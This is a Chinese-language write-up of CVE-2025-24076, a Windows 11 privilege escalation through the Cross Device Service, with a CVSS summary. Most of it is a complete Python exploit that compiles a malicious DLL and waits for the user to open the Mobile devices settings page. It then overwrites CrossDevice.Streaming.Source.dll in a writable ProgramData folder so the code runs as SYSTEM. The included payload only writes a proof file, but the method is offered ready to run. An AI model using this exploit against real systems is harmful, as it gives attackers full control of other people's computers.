Windows 11权限提升漏洞分析与利用代码详解

本文详细分析了CVE-2025-24076漏洞,该漏洞影响Windows 11多个版本,通过跨设备服务的不当访问控制实现权限提升。包含完整的Python利用代码和恶意DLL构建方法,演示了从检测到利用的全过程。

Microsoft Windows 11 Version 24H2跨设备服务权限提升漏洞

漏洞信息

风险等级: 高
利用方式: 本地
CVE编号: CVE-2025-24076
CWE弱点: CWE-284 - 不当的访问控制

受影响版本

  • Windows 11 Version 24H2 (x64和ARM64)
  • Windows 11 Version 23H2 (x64和ARM64)
  • Windows 11 Version 22H2 (x64和ARM64)
  • Windows Server 2025
  • Windows Server 2022 23H2 (Server Core安装)

漏洞描述

此漏洞影响Microsoft Windows 11多个版本和Windows Server 2025。它针对Windows跨设备服务中的不当访问控制,允许低权限本地攻击者在可写目录中覆盖关键DLL文件(CrossDevice.Streaming.Source.dll)。通过触发用户交互(打开Windows"移动设备"设置),攻击者可以用恶意版本替换DLL,导致SYSTEM权限提升。

利用步骤

  1. 验证可写目录中是否存在易受攻击的DLL
  2. 构建在加载时使用SYSTEM权限执行代码的恶意DLL
  3. 备份原始DLL以便恢复
  4. 通过指示用户打开"移动设备"设置页面来触发DLL加载
  5. 等待DLL解锁并用恶意DLL替换它
  6. 在系统加载恶意DLL时获得SYSTEM权限

利用代码

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#!/usr/bin/env python3
# Exploit Title: Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-06
# Tested on: Windows 11 Version 24H2 for x64-based Systems (10.0.26100.3476)
# CVE: CVE-2025-24076

import os
import shutil
import time
from pathlib import Path
import subprocess

# 基于漏洞研究的目标DLL名称
DLL_NAME = "CrossDevice.Streaming.Source.dll"
TARGET_PATH = Path("C:/ProgramData/CrossDevice")
MALICIOUS_DLL = Path("malicious.dll")
BACKUP_ORIGINAL_DLL = Path("original_backup.dll")

# 恶意DLL的C源代码
MALICIOUS_C_CODE = r'''
#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        FILE *file = fopen("C:\\poc_only_admin_can_write_to_c.txt", "w");
        if (file) {
            fputs("Exploit succeeded! You have SYSTEM privileges.\n", file);
            fclose(file);
        }
    }
    return TRUE;
}
'''

def build_malicious_dll():
    print("[*] Building malicious DLL from C source...")
    c_file = Path("malicious.c")
    # 将C源代码写入文件
    with open(c_file, "w") as f:
        f.write(MALICIOUS_C_CODE)
    # 使用gcc编译DLL
    compile_cmd = [
        "gcc", "-shared", "-o", str(MALICIOUS_DLL), str(c_file),
        "-Wl,--subsystem,windows"
    ]
    try:
        subprocess.run(compile_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        print(f"[+] Malicious DLL built successfully: {MALICIOUS_DLL}")
        # 清理C源文件
        c_file.unlink()
        return True
    except subprocess.CalledProcessError as e:
        print("[!] Failed to build malicious DLL.")
        print("gcc output:", e.stderr.decode())
        return False

def is_vulnerable():
    if not TARGET_PATH.exists():
        print("[!] Target directory not found.")
        return False
    dll_path = TARGET_PATH / DLL_NAME
    if not dll_path.exists():
        print("[!] Target DLL not found.")
        return False
    print("[+] System appears vulnerable, DLL found in a writable path.")
    return True

def backup_original():
    dll_path = TARGET_PATH / DLL_NAME
    backup_path = TARGET_PATH / BACKUP_ORIGINAL_DLL
    shutil.copyfile(dll_path, backup_path)
    print(f"[+] Backup created at: {backup_path}")

def replace_with_malicious():
    dll_path = TARGET_PATH / DLL_NAME
    try:
        shutil.copyfile(MALICIOUS_DLL, dll_path)
        print("[+] Successfully replaced the DLL with malicious version.")
        return True
    except PermissionError:
        print("[!] Cannot write to DLL. Make sure the process using it is stopped.")
        return False

def monitor_and_replace():
    dll_path = TARGET_PATH / DLL_NAME
    print("[*] Monitoring DLL until it is unlocked...")
    while True:
        try:
            with open(dll_path, 'rb+') as f:
                print("[+] File is unlocked. Attempting replacement...")
                time.sleep(0.5)
                return replace_with_malicious()
        except PermissionError:
            time.sleep(0.5)

def trigger_com():
    print("[*] To trigger DLL load, please open Windows Settings -> Mobile devices")
    input("[*] After opening Settings, press Enter to continue...")

def main():
    if not build_malicious_dll():
        return
    if not is_vulnerable():
        return

    backup_original()
    trigger_com()

    success = monitor_and_replace()
    if success:
        print("[✓] Exploit completed successfully. Check results (e.g., C:\\poc_only_admin_can_write_to_c.txt).")
    else:
        print("[✗] Exploit failed.")

if __name__ == "__main__":
    main()

技术细节

该漏洞利用需要低权限和用户交互,但攻击复杂度低,由于完全权限提升而具有高影响。恶意DLL在DLL_PROCESS_ATTACH时执行,通过创建特定文件来证明已获得SYSTEM权限。

CVSS v3.1评分: 7.3 (重要)
攻击向量: 本地
所需权限: 低
用户交互: 需要
范围: 未改变
机密性、完整性、可用性影响: 高

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